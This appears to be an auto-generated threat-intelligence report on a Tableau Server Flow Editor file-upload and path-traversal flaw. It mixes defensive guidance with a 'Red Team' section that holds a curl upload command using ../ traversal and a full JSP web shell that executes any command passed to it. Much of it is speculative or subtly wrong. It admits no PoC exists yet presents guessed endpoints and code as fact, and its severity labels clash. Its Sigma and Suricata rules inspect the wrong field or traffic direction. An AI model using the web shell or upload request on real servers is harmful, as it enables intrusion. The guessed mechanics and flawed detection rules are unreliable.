CVE-2025-26497

Executive Summary

CVE-2025-26497 is a critical vulnerability in Salesforce Tableau Server affecting the Flow Editor modules on both Windows and Linux platforms. The flaw allows an attacker to upload a file with a dangerous type (e.g., a web shell or executable) without proper restrictions, combined with an absolute path traversal capability. This enables the attacker to write arbitrary files to any location on the server filesystem, potentially leading to remote code execution (RCE), data exfiltration, or complete server compromise.

The vulnerability exists in versions prior to 2025.1.3, 2024.2.12, and 2023.3.19. No public proof-of-concept (PoC) or exploit code is currently available, but the risk is high due to the nature of unrestricted file upload and path traversal. The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring, but the actual severity is critical.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary software component (Tableau Server) from Salesforce. Organizations using Tableau Server should treat this as a high-priority supply chain risk and apply patches immediately.

CVSS Breakdown & Threat Level

The NVD has not assigned a CVSS score (0.0), but based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs a valid Tableau user account with Flow Editor access.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – the vulnerable component is the server itself.
• Confidentiality (C): High (H) – arbitrary file read possible.
• Integrity (I): High (H) – arbitrary file write possible.
• Availability (A): High (H) – could overwrite critical system files.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 8.8 (High)

Threat Level: Critical. The combination of unrestricted upload and absolute path traversal allows an attacker to bypass intended restrictions and write files to arbitrary locations, including web-accessible directories or system startup folders.

Deep Dive & Mechanics

The vulnerability resides in the Flow Editor modules of Tableau Server. These modules handle user-uploaded content (e.g., flow definitions, scripts, or data files) during the creation or editing of data flows.

Root Cause: The application fails to validate the file type (MIME type, extension, or content) and does not sanitize the file path provided by the user. An attacker can craft a malicious request that includes a file with a dangerous extension (e.g., .exe, .jsp, .php, .war) and a path traversal sequence (e.g., ../../../Windows/System32/evil.exe) to write the file outside the intended upload directory.

Attack Flow:

1. Attacker authenticates to Tableau Server (requires a valid account with Flow Editor permissions).
2. Attacker sends a crafted HTTP request to the Flow Editor upload endpoint.
3. The request includes a file with a dangerous type (e.g., a JSP web shell) and a path traversal payload in the filename or a separate parameter.
4. The server writes the file to the attacker-specified absolute path (e.g., C:\Program Files\Tableau\Server\webapps\tableau\evil.jsp on Windows or /opt/tableau/tableau_server/webapps/tableau/evil.jsp on Linux).
5. Attacker accesses the uploaded file via the web server, achieving remote code execution.

Why It Works: The Flow Editor module likely uses a function like File.WriteAllBytes(path, data) without checking if the path is within the allowed upload directory. The path traversal is not blocked because the application does not canonicalize the path or strip ../ sequences.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: No validation of file type or path
string uploadPath = Path.Combine(uploadDirectory, fileName);
File.WriteAllBytes(uploadPath, fileData);

Patched Code (Conceptual):

// Patched: Validate file extension and sanitize path
string safeFileName = Path.GetFileName(fileName);
if (!IsAllowedExtension(safeFileName))
    throw new SecurityException("File type not allowed.");

string safePath = Path.GetFullPath(Path.Combine(uploadDirectory, safeFileName));
if (!safePath.StartsWith(uploadDirectory, StringComparison.OrdinalIgnoreCase))
    throw new SecurityException("Invalid path.");

File.WriteAllBytes(safePath, fileData);

Key Differences:

• The patched version uses Path.GetFileName() to strip any directory traversal components.
• It validates the file extension against an allowlist.
• It uses Path.GetFullPath() to resolve the absolute path and then checks that it starts with the intended upload directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid Tableau Server account with Flow Editor permissions.
• Network access to the Tableau Server web interface (typically port 80/443).

Exploitation Steps:

1. Identify the Upload Endpoint: Use browser developer tools or a proxy (e.g., Burp Suite) to find the endpoint handling file uploads in the Flow Editor. Common patterns: /api/flow/upload, /flow-editor/upload, etc.

2. Craft the Malicious Request:

   • Set the Content-Type to multipart/form-data.
   • Include a file part with a dangerous extension (e.g., evil.jsp).
   • Modify the filename parameter to include path traversal: ../../../webapps/tableau/evil.jsp.

   Example HTTP request (using curl):

   curl -X POST \
     -H "Authorization: Bearer <token>" \
     -F "file=@evil.jsp;filename=../../../webapps/tableau/evil.jsp" \
     https://tableau-server.example.com/api/flow/upload
   

3. Trigger Execution: Access the uploaded file via the web server:

   https://tableau-server.example.com/evil.jsp
   

4. Post-Exploitation: Use the web shell to execute commands, exfiltrate data, or pivot to other systems.

Sample Web Shell (evil.jsp):

<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
}
%>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor File Upload Endpoints: Log all requests to Flow Editor upload endpoints. Look for anomalies in filenames (e.g., ../, ..\\, absolute paths like C:\ or /).

2. Check for Suspicious Files: Scan the web application directories for unexpected files with extensions like .jsp, .php, .exe, .war, .aspx.

3. Review Server Logs: Look for errors related to file write operations or path traversal attempts.

Mitigation Steps:

• Apply the official patch immediately.
• If patching is not possible, implement a Web Application Firewall (WAF) rule to block path traversal patterns in file uploads.
• Restrict Flow Editor permissions to only trusted users.
• Enable file integrity monitoring (FIM) on critical directories.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Unexpected files in web-accessible directories (e.g., *.jsp, *.php, *.exe, *.war).
• Files with names containing path traversal sequences (e.g., ..%2f..%2f..%2f).

Network IOCs:

• HTTP requests to /api/flow/upload or similar endpoints with Content-Type: multipart/form-data.
• Requests containing filename parameters with ../ or absolute paths.
• Outbound connections from the Tableau Server to unknown IPs (if the web shell is used for data exfiltration).

Log IOCs:

• Application logs showing file write operations to paths outside the intended upload directory.
• Web server logs (e.g., Apache, IIS) showing 200 responses for requests to suspicious file paths.

Detection Engineering

YARA Rule

rule Detect_Tableau_Server_Upload_Abuse {
    meta:
        description = "Detects attempts to exploit CVE-2025-26497 via path traversal in file uploads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26497"
    strings:
        $path_traversal = /\.\.(\/|\\)[^"]*/ nocase
        $dangerous_ext = /\.(jsp|php|exe|war|aspx|sh|py|pl)$/ nocase
        $upload_endpoint = /\/api\/flow\/upload|\/flow-editor\/upload/ nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-26497 - Tableau Server Unrestricted File Upload with Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit unrestricted file upload and path traversal in Tableau Server Flow Editor.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-26497
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/api/flow/upload'
            - '/flow-editor/upload'
        cs-uri-query|re: '\.\.(\/|\\)'
        cs-uri-query|endswith:
            - '.jsp'
            - '.php'
            - '.exe'
            - '.war'
            - '.aspx'
    condition: selection
falsepositives:
    - Legitimate file uploads with unusual names (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-26497 - Tableau Server Unrestricted File Upload with Path Traversal";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/flow/upload"; http_uri;
    content:"filename"; http_client_body;
    pcre:"/\.\.(\/|\\)/i";
    pcre:"/\.(jsp|php|exe|war|aspx|sh|py|pl)$/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-26497;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Tableau Server to version 2025.1.3, 2024.2.12, or 2023.3.19 (depending on your release track).
2. Workaround: If patching is delayed, disable the Flow Editor module or restrict access to it via network segmentation and authentication.
3. WAF Rules: Deploy a Web Application Firewall rule to block requests containing path traversal sequences (../, ..\\) in file upload parameters.

Long-Term Measures:

• Implement a file upload validation library that checks file type by content (magic bytes) and not just extension.
• Use a secure file storage service (e.g., AWS S3 with presigned URLs) to avoid direct file writes to the web server.
• Conduct regular security audits and penetration testing on Tableau Server deployments.
• Monitor vendor advisories for future patches.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For questions or further analysis, contact security@valtersit.com.